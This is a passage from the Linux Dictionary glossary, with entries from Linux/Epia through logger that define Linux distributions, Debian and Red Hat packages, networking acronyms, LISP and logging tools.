A distribution dedicated to making available a Linux based system for the Motorola ColdFire processor family. The core is a port of the Micro-controller Linux (uC-Linux) kernel to the ColdFire processors. Additionally there is a growing number of ports of GNU/Linux utilities to the ColdFire. It is currently possible to build stable, complete, fully functional, embedded, Linux systems using uClinux/ColdFire. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux/Epia

Q Rey Linux/Epia is a Linux distribution for Epia M motherboards. It boots quickly (in less than 20 seconds), has a quick installation (less than 4 minutes), and allows quick configuration (less than 5 minutes). It's ready for classic precompiled software (OpenOffice.org, Mozilla, etc.). Any GTK application should compile directly. Version 1.0 was released March 26, 2003. From LWN

Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux/MNIS

French based distribution. Slackware and Debian based versions available. Support for Intel, Sparc, Alpha and Motorola platforms. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux4Geeks

Linux4Geeks is a LFS-based small distro which works around several problems and issues mainstream Linux distributions have. It offers different versions compiled for each architecture and has all the packages required for a slim installation including a firewall and network administration tools, amongst others. Version 0.01 was released June 11, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinuxAlpha.org

A resource for Linux on Alpha processors. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linuxcare Bootable Business Card

The LBT is a fully usable miniature Linux distribution which can be placed on a credit-card sized CD media. The distribution should work in almost any PC with almost any operating system. It offers over 101mb of software including a 2.4 kernel, Xfree86 4.1, full network services for both pci and pcmcia cards, wireless connectivity, perl, and a lot more. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxconf

a powerful Linux administration kit Linuxconf is a sophisticated administration system for Linux with a text, an X and a web interface. This is the base package which includes only the text and web interface to the configurator. For more information please take a look at the Linuxconf homepage at <http://www.solucorp.qc.ca/linuxconf/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxconf

Linuxconf is an extremely capable system configuration tool. Linuxconf provides four different interfaces for you to choose from: command line, character-cell (like the installation program), an X Window System based GUI and a web-based interface. Linuxconf can manage a large proportion of your system's operations, including networking, user accounts, filesystems, boot parameters, and more. Linuxconf will simplify the process of configuring your system. Unless you are completely happy with configuring your system manually, you should install the linuxconf package and use linuxconf instead. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxcookbook

Tips and techniques to help the busy modern computer user This is an online version of a book written by Michael Stutz and published by No Starch Press. This book covers getting started with linux for the average user, ranging in topics from how to move files to sound to networking. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc

LinuxDoc DTD SGML converter to other output format From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc-tools

Linuxdoc-tools is a text formatting suite based on SGML (Standard Generalized Markup Language), using the Linux Doc document type. Linuxdoc-tools allows you to produce LaTeX, HTML, GNU info, LyX, RTF, plain text (via groff), and other format outputs from a single SGML source. Linuxdoc-tools is intended for writing technical software documentation. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc-tools

SGML converters for the LinuxDoc DTD only. LinuxDoc is a kind of SGML DTD. It was created for the Linux HOWTOs, and had been used officially by the Linux Documentation Project (LDP). Now LDP has aggressively migrated into the DocBook world, but many documents are still available in LinuxDoc DTD sgml. So users may still need the tool for LinuxDoc, therefore LinuxDoc-Tools was created on the basis of sgml-tools_v1. The main command is linuxdoc, and -B option is provided to choose the proper backend driver for desired output. linuxdoc -B check: for syntax checking linuxdoc -B html: conversion to html linuxdoc -B info: conversion to info linuxdoc -B latex: conversion to latex, dvi, and postscript linuxdoc -B lyx: conversion to lyx linuxdoc -B rtf: conversion to rtf linuxdoc -B txt: conversion to text HTML can be generated without any other Debian text processing package, but for the other formats the appropriate packages will have to be installed. - Text conversion requires groff - LaTeX conversion requires tetex-base, tetex-bin, and tetex-extra - Info conversion requires texinfo You can install linuxdoc-tools-text for required dependency of text conversion. linuxdoc-tools-latex and linuxdoc-tools-info are provided for dependencies of latex or info conversion. This linuxdoc-tools has been designed and implemented only for linuxdoc DTD. If you wish to convert debiandoc DTD documents, Please install and use debiandoc-sgml package. If you wish to convert docbook DTD documents, Please install and use jade (with or without sgmltools-lite). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc-tools-info

Info output facility of LinuxDoc-Tools LinuxDoc-Tools is a SGML converter for the LinuxDoc DTD only. This package is to provide the required dependency for info conversion facility of LinuxDoc-Tools. See the description of linuxdoc-tools package for more detail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc-tools-latex

LaTeX/PS/PDF output facility of LinuxDoc-Tools LinuxDoc-Tools is a SGML converter for the LinuxDoc DTD only. This package is to provide the required dependency for LaTeX/PS/PDF conversion facility of LinuxDoc-Tools. See the description of linuxdoc-tools package for more detail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxdoc-tools-text

Text output facility of LinuxDoc-Tools LinuxDoc-Tools is a SGML converter for the LinuxDoc DTD only. This package is to provide the required dependency for text conversion facility of LinuxDoc-Tools. See the description of linuxdoc-tools package for more detail. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxfacile

An Italian manual for newbies. Linux Facile is an Italian manual for those who have little experience with GNU/Linux, but who wish to become familiar with it. It is designed to make the experience of learning and using GNU/Linux an easy and gradual one. It is available in several formats, and is covered by the GNU Free Documentation License. This package includes the PostScript version. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinuxFromScratch

Linux From Scratch (LFS) is a project that provides you with the steps necessary to build your own custom Linux system using the LFS book. The web site also contains links to other resources such as mailing lists, mailing list archives, newsgroups, search engine, faq and more. Released under the original BSD License. Development version 3.2-rc2 was released February 27, 2002. Stable version 3.3 was released April 7, 2002. Version 4.1 was released April 28, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linuxin GNU/Linux

Linuxin GNU/Linux is based on Debian Woody, with many ease-of-use type of enhancements, such as automated graphical installation, hardware autodetection and configuration -- all geared towards users with little Linux experience. Version 1.0 was released August 6, 2002. Spanish distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxinfo

Displays extended system information. Displays system info, such as Kernel revision, glibc version, processor type and memory size. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinuxInstall.org Project

LinuxInstall.org 1.0 is based on Red Hat Linux 8.0 with Personal Desktop Packages including Mozilla Web Browser, Evolution Mail Client, and the OpenOffice.org Office Suite. It also comes with latest kernel as of January 7, 2003 and the latest software updates (also as of January 7, 2003). The main features are auto hardware detection, auto root account creation, auto hard drive partitioning, auto network setup using DHCP and auto package selection. No questions are asked during installation, the process is completely automated and it only takes about 15 minutes. The entire system comes on one CD. Version 3.0 was released April 20, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxlogo

Color ANSI System Logo. A Color ANSI Logo with some system information that can be displayed at system boot time or, with some local configuration, at the login prompt. Four different Logos are available: Debian Swirl(default), Debian Banner, Tux Classic and Banner. The Classic and Banner Logos are based on Larry Ewing's Penguin. Monochrome ASCII versions of all the logos are included. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LinuxPPC

LinuxPPC Inc. started the first wave of interest in native Linux on PowerPC systems in 1996, releasing its first CD-ROM discs, and providing them to developers and people interested in alternative operating systems. Its fourth major release, LinuxPPC R4, came out in June 1998. That highly successful release was followed by LinuxPPC 4.1, 1999 (5.0), 1999 Q3 (5.5), and the current release, LinuxPPC 2000 (6.0). Unfortunately now dead – March 5, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

linuxvideostudio

MJPEG-tools GTK graphical user interface Linux Video Studio is a small-'n-simple GUI for the MJPEG-tools (<http://mjpeg.sourceforge.net/>). The MJPEG-tools can be used to record video from a zoran-based capture card (DC10+, Buz, LML33), playback video to the same card and encode video to MPEG. Linux Video Studio tries to extend this with simple editing functions, like deleting frames, adding frames from new videos, moving frames, scene detection etc. The Debian package of non-free/mjpegtools must be downloaded from <http://download.sourceforge.net/mjpeg/> to run linuxvideostudio. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIP

Large Internet Packet From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIPS

Logical Inferences Per Second (AI, KI, XPS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liquidwar

Multiplayer simplified wargame A unique wargame where you pilot your numerous soldiers (or bees) with one target only. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lirc

Linux Infra-red Remote Control support This package provides the daemons and some utilities to support infra-red remote controls under Linux. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIRC (Linux Infrared Remote Control)

LIRC is a package that allows you to decode and send infra-red signals of many (but not all) commonly used remote controls. Former versions focussed on home-brew hardware connected to the serial and parallel port. Current versions of LIRC also support a variety of other hardware. The most

important part of LIRC is the lircd daemon that will decode the IR signals received by the device drivers and provide information on a socket. It will also provide the information on a socket. It will also accept commands for IR signals to be sent if the hardware supports this. The second daemon program called lircmd will connect to lircd and translate the decoded IR signals to mouse movements. For example, you can configure X to use your remote control as a remote input device. The user space applications allow you to control your computer with your remote control. You can send X events to applications, start programs and much more on just one button press. The possible applications are obvious: Infra-red mouse, remote control for your TV tuner card or CD-ROM, shutdown by remote, program your VCR and/or satellite tuner with your computer, etc. MP3 players are also quite popular. From LIRC <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LIS

Logical IP Subnet (RFC 1577, ION) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISA

Linux Installation & System Administration (Linux, LST) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lisa

LISa is intended to provide a kind of "Network Neighborhood" type of interface, but relies only on the TCP/IP protocol stack instead of SMB or proprietary protocols. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISP

A high-level programming language, often used for artificial intelligence research, that makes no distinction between the program and the data. This language is considered ideal for manipulating text. One of the oldest programming languages still in use, LISP is a declarative language; the programmer composes lists that declare the relationships among symbolic values. Lists are the fundamental data structure of LISP, and the program performs computations on the symbolic values expressed in those lists. Like other public domain programming languages, however, a number of mutually unintelligible versions of LISP exist. A standardised, fully configured, and widely accepted version is Common LISP. See interpreter. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISP

LISt Processing language – Artificial Intelligence's mother tongue, a symbolic, functional, recursive language based on the ideas of lambda-calculus, variable-length lists and trees as fundamental data types and the interpretation of code as data and vice-vers. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISP

LISt Processor (LISP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISP

Lots of Isolated Silly Parentheses (LISP, slang) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISP

n. [from 'LISt Processing language', but mythically from 'Lots of Irritating Superfluous Parentheses'] AI's mother tongue, a language based on the ideas of (a) variable-length lists and trees as fundamental data types, and (b) the interpretation of code as data and vice-versa. Invented by John McCarthy at MIT in the late 1950s, it is actually older than any other HLL still in use except FORTRAN. Accordingly, it has undergone considerable adaptive radiation over the years; modern variants are quite different in detail from the original LISP 1.5. The dominant HLL among hackers until the early 1980s, LISP now shares the throne with C. Its partisans claim it is the only language that is truly beautiful. See languages of choice. All LISP functions and programs are expressions that return values; this, together with the high memory utilization of LISPs, gave rise to Alan Perlis's famous quip (itself a take on an Oscar Wilde quote) that "LISP programmers know the value of

everything and the cost of nothing". One significant application for LISP has been as a proof by example that most newer languages, such as COBOL and Ada, are full of unnecessary crocks. When the Right Thing has already been done once, there is no justification for bogosity in newer languages. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

list

A sequence of one or more pipelines separated by one of the operators ;, &, &&, or ||, and terminated by one of ;, &, or . From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

listres

list resources in widgets From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lists-archives

Web archive for mailing lists Creates a website of historical posts to mailing lists, in the sorted style used by the Debian Project (<http://www.debian.org/Lists-Archives>). It works by subscribing a procmail recipe to the list, so any list can be archived. Full-text searching is possible if glimpse is also installed (Glimpse is no longer in the archive, but the search scripts still are). This package may also be used as the backend archiver for mailman (www.list.org). For the full effect, configure the webserver: Alias /Lists-Archives /var/lib/lists-archives/archives From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISTSERV

provide a forum for the exchange of information and ideas through email. A popular mailing list server for Linux is Majordomo. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Listserv

The most common kind of maillist, "Listserv" is a registered trademark of L-Soft international, Inc. Listservs originated on BITNET but they are now common on the Internet. See also: BITNET, Internet (Upper case I), Maillist. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Listserver

Listservers (also just called mailing lists or electronic discussion lists) extend simple email communication onto another level of efficiency by enabling a user to send one message to a large audience. They are usually semi-automated (sometimes fully automated) email distribution systems and have been around since the early 80's and the launch of BITNET by the State University of New York. From Faculty-of-Education <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LISUAF

[thueringer] LandesInformationsSystem Umwelt, Agrar und Forst (UIS), "LIS-UAF" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LITA

Library and Information Technology Association (org., USA) From VERA

LLCSNAP

Logical Link Control/SubNetwork Access Protocol (LLC, SNAP), "LLC/SNAP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lletters

GTK letters-learning game for small children This is based on author's daughter's (formerly) favorite game, Larry's Learning Letters and Numbers. This is a Linux replacement, written from scratch, with many improvements. It was built using the GTK (Gimp ToolKit) for X. It presently works with 1.0.x and 1.1.x, but images load faster with the newer library. It is intended for children 2 and up, and is a fun learning game. It helps younger children learn their letters and numbers, while older children will improve their spelling, and vocabulary skills. It also helps them develop important keyboard and mouse skills too. You can have more than one image for each word, more than one word for each letter, and you can add new images without recompiling too. THIS IS ALPHA SOFTWARE, use it at your own risk. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lletters

linux letters and games for young kids From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lletters-media

GTK letters–learning game for small children This is based on author's daughter's (formerly) favorite game, Larry's Learning Letters and Numbers. This is a Linux replacement, written from scratch, with many improvements. It was built using the GTK (Gimp ToolKit) for X. It presently works with 1.0.x and 1.1.x, but images load faster with the newer library. It is intended for children 2 and up, and is a fun learning game. It helps younger children learn their letters and numbers, while older children will improve their spelling, and vocabulary skills. It also helps them develop important keyboard and mouse skills too. This package installs the images and sounds required by the letters package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LLN

Line Link Network From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LLNL

Lawrence Livermore National Laboratory (org., USA) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LLP

Link Level Protocol (BTX) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

lm–batmon

A Cute and Cuddly APM Battery Monitor It's a APM battery monitor on your desktop with a cute and cuddly –Moe– accessory character. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

lm–sensors

Utilities to read temperature/voltage/fan sensors Lm–sensors is a hardware health monitoring package for Linux. It allows you to access information from temperature, voltage, and fan speed sensors. It works with most newer systems. This package contains programs to help you set up and read data from lm–sensors. You will need lm–sensors and i2c kernel modules to use this package. This requires installing the lm–sensors–source package, and possibly the kernel–package package, and using those to build lm–sensors modules. i2c modules can be built from either the i2c–source package or from the Linux kernel sources (version 2.4.13 or later). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

lm–sensors–source

Kernel drivers to read temperature/voltage/fan sensors (source) Lm–sensors is a hardware health monitoring package for Linux. It allows you to access information from temperature, voltage, and fan speed sensors. It works with most newer systems. This package contains the source for kernel modules that are necessary to access the data. The kernel sources must be installed to compile these modules. lm–sensors requires a separate set of drivers to access the I2C bus. If you are using kernel 2.4.13 or newer, it is sufficient to enable "I2C /proc support" and a set of I2C drivers in your kernel configuration. If you have an older kernel or want more up–to–date support, you need to also install the i2c–source package and build modules from that. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LMDS

Local Multi–point Distribution System From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LME

Large Memory Enabled [devices and drivers] (DAC) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LME

Layer Management Entity (OSI) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

lmemory

A children's game based on the "memory" card game This game is intended for children aged 3 and up. It features the ability to add your own 64x64 pixmap images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

LMFAO

Laughing My F***** Ass Off (Usenet, IRC, slang) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LMI

Layer Management Interface (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LMS

Library Maintenance System (BS2000) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LMU

LAN Manager for Unix (Unix), "LM/U" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LMX

LAN Manager for uniX (LAN, Unix, MS), "LM/X" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lm_sensors

The lm_sensors package includes a collection of modules for general SM Bus access and hardware monitoring. NOTE: this package requires special support which is not in standard 2.2-vintage kernels. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ln

make links between files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ln_dir

create a shadow directory of symbolic links to another directory tree From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LNN

Lotus Notes Network (Lotus) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LNX System

The LNX System aims to be a well-engineered Linux distribution, with a centralized CVS repository; structured and flexible packaging; maintained and integrated subsystems; pro-actively-secure and audited code; ... LNXS 0.2.0 was released April 11, 2001. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LNX-BBC

The LNX-BBC is a mini Linux-distribution, small enough to fit on a business card sized CDROM. LNX-BBC can be used to rescue ailing machines, perform intrusion post-mortems, act as a temporary workstation, install Debian, and perform many other tasks. Version 2.1 was released May 1, 2003. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

load balancing

distributing processing and communications activity evenly across a computer network so that no single device is overwhelmed. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loadkeys

load keyboard translation tables From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loadlin

a loader (running under DOS) for LINUX kernel images LOADLIN-1.6 is highly adaptable to different DOS configurations, and now has very few loading restrictions. It makes use of extended memory and also can load big kernels (bzImages) and ramdisk images (initrd) directly high. LOADLIN also can load out of Virtual-86 mode (which is normal when using EMS drivers) if a VCPI server is present. The loadlin package also includes the freeramdisk program, which can return

memory to the system when a ramdisk is no longer needed. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loadmeter

Attractive X11 load meter Loadmeter is an attractive X11 based system monitor. It displays load average, uptime, disk and memory usages. It uses a coloured bar graph display for easy reading and popup menus for other info. It uses less memory than xload. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loadshlib

Gnome Object Activation Directory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loadwatch

Run a program using only idle cycles loadwatch forks a child process and only allows it to run when the system load meets user defined parameters. loadwatch allows you to specify that a program should run only if the load is below a set point, and will stop it when that point is reached. When the load falls below a second setpoint, the program will be continued. The period of sampling the system load can also be specified by the user. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOAF

Linux On A Floppy (LOAF) is a small yet extensible distribution of the Linux operating system. As the name implies, LOAF generally fits on a single floppy, but is not limited to just one, or floppies at all for that matter. LOAF's "new" [December 2001] intended purpose is a base in which the user can expand to his or her liking. Version 1 was essentially 'ssh on a floppy', as this was its initial raison d'etre. As of version 2, however, LOAF is a much more generic distribution, meant to be expanded via packages. It can be a client, it can be a server, it can be a router. The ultimate function of LOAF is completely up to the user. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOC

LAN Operations Center (LAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOC

Lines Of Code From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOC

Loss of Cell delineation (UNI, ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

local area network (LAN)

A computer network that covers a relatively small area. Most LANs cover a single building or group of buildings. A system of LANs can be connected over any distance through telephone lines and radio waves, creating a wide-area network. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

local loop

In telephony, the term local loop means the pair of copper wires that lead from your house to the nearby central office (CO). It is called a "loop" because it is a wire leading out from the CO, through your home, and back to the CO again. When the FBI puts a wiretap on your phone, it may put an eavesdropping device onto this pair of wires. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locale

Describes a locale definition file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locale

Description of multi-language support From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locale

Get locale-specific information. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locale-gen

generates localisation files from templates From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

localeconf

debconf interface to locale configuration This package provides a debconf-based interface to configuring the system-wide locale settings on your system. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

localedef

compile locale definition files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

localepurge

Automagically removing unnecessary locale data This is just a simple script to recover disk space wasted for unneeded locale files and localized man pages. It will automatically be invoked upon completion of any apt installation run. Please note, that this tool is a hack which is *not* integrated with Debian's package management system and therefore is not for the faint of heart. Responsibility for it's usage and possible breakage of your system therefore lies in the sysadmin's (your) hands. Please definitely do abstain from reporting any bugs blaming localepurge if you break your system by using it. If you don't know what you are doing and can't handle any resulting breakage on your own then please simply don't use this package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locales

GNU C Library: National Language (locale) data [support] Machine-readable data files, shared objects and programs used by the C library for localization (i18n) and internationalization (i18n) support. This package contains the libc.mo i18n files, plus tools to generate locale definitions from source files (included in this package). It allows you to customize which definitions actually get generated. This is a savings over how this package used to be, where all locales were generated by default. This created a package that unpacked to an excess of 30 megs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locales

These are the base files for language localization. You also need to install the specific locales-?? for the language(s) you want. Then the user need to set the LANG variable to their preferred language in their ~/.profile configuration file. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locales-en

These are the base files for English language localization. Contains: en_CA en_DK en_GB en_IE en_US From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

localhost

The name typically given to a standalone computer system (or a system on a network that does not have its host name assigned to it by a server). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

locate

list files in databases that match a pattern From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOCIS

Library Of Congress Information System (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lock

Linux Dictionary

A temporary file that keeps data and applications from being used by multiple processes or users, which may cause data collisions and/or corruption. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lockdev

Lockdev provides a reliable way to put an exclusive lock to devices using both FSSTND and SVr4 methods. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lockfile

conditional semaphore-file creator From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lockfile-progs

Programs for locking and unlocking files and mailboxes. This package includes several programs to safely lock and unlock files and mailboxes from the command line. These include: lockfile-create lockfile-remove lockfile-touchlock mail-lock mail-unlock mail-touchlock These programs use liblockfile to perform the file locking and unlocking, so they are guaranteed compatible with Debian's file locking policies. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

lockvc

Screensaver to lock your Linux console(s) Lockvc is a console-locking-program combined with some nifty vga- screensavers. All virtual consoles get locked, i.e. you cannot change to another VC and you can't stop the program by pressing any key-combos. You can only exit the program by entering your system-password. Root's password will also terminate lockvc. To make the program available to any users, lockvc is installed setuid by default. Use dpkg-statoverride if you want to change this. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

loco

Perl script to add nice colors to your /var/log/messages file loco is a Perl script which gives the messages file (usually /var/log/messages) some color, so the output is easier to read. It uses a Perl module called Term::ANSIColor to produce the colors. The Perl script is very readable and customizable. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOCT

Layered Open Crypto Toolkit (RSA, cryptography) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOD

Level Of Detail (3D) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LOF

Loss of Frame (UNI, ATM, DS3/E3) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

log

A file that contains status information collected from services and daemons. Logs can usually alert system administrators to issues that need resolution. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Log

To store application or system messages or errors. Also, a file that holds this information. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Log file rotation

Log files are rotated daily or weekly by the logrotate package. Its configuration file is /etc/logrotate.conf. For each package that happens to produce a log file, there is an additional configuration file under /etc/logrotate.d/. It is also easy to write your own - begin by using one of the existing files as an example. Rotation means that the log file is renamed with a .1 extension and then truncated to zero length. The service is notified by the logrotate program, sometimes with a SIGHUP. Your /var/log/ may contain a number of old log files named .2, .3, etc. The point of log file rotation is to prevent log files from growing indefinitely. From Rute-Users-Guide

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Log files

UNIX has a strict policy of not reporting error messages to the user interface whenever there might be no user around to read those messages. Whereas error messages of interactive commands are sent to the terminal screen, error or information messages produced by non-interactive commands are "logged" to files in the directory /var/log/. A log file is a plain text file that continually has one-liner status messages appended to it by a daemon process. The usual directory for log files is /var/log. The main log files are /var/log/messages and possibly /var/log/syslog. It contains kernel messages and messages from a few primary services. When a service would produce large log files (think web access with thousands of hits per hour), the service would use its own log file. sendmail, for example, uses /var/log/maillog. Actually, lpd does not have a log file of its own—one of its failings. View the system log file with the follow option to tail: tail -f /var/log/messages; tail -f /var/log/syslog. Restarting the lpd service gives messages like: [Not all distributions log this information.] . Jun 27 16:06:43 cericon lpd: lpd shutdown succeeded; Jun 27 16:06:45 cericon lpd: lpd startup succeeded. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

log-analysis

Analyse system's logs to find out problems Log-analysis will analyse syslog, wtmp and sulog files in the system in order to summarise information found there. It will also apply a number of known expressions in order to extract relevant data it knows of. Log-analysis can be customized and extended with custom configuration files to detect certain events that are system-dependant. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

log2mail

Daemon watching logfiles and mailing lines matching patterns. log2mail is a small daemon watching logfiles and sending mail to a specified address if a regular expression is matched. log2mail uses a configuration file. It has some options to reduce the amount of messages send to the user. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logcheck

Mails anomalies in the system logfiles to the administrator Logcheck is part of the Abacus Project of security tools. It is a program created to help in the processing of UNIX system logfiles generated by the various Abacus Project tools, system daemons, Wietse Venema's TCP Wrapper and Log Daemon packages, and the Firewall Toolkit) by Trusted Information Systems Inc.(TIS). Logcheck helps spot problems and security violations in your logfiles automatically and will send the results to you in e-mail. This program is free to use at any site. Please read the disclaimer before you use any of this software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logcheck-database

A database of system log rules for the use of log checkers This database is part of the logcheck package, but might be used by others. It brings a database of regular expressions for matching system log entries after various criteria. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logger

make entries in the system log From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

logical block addressing (LBA)

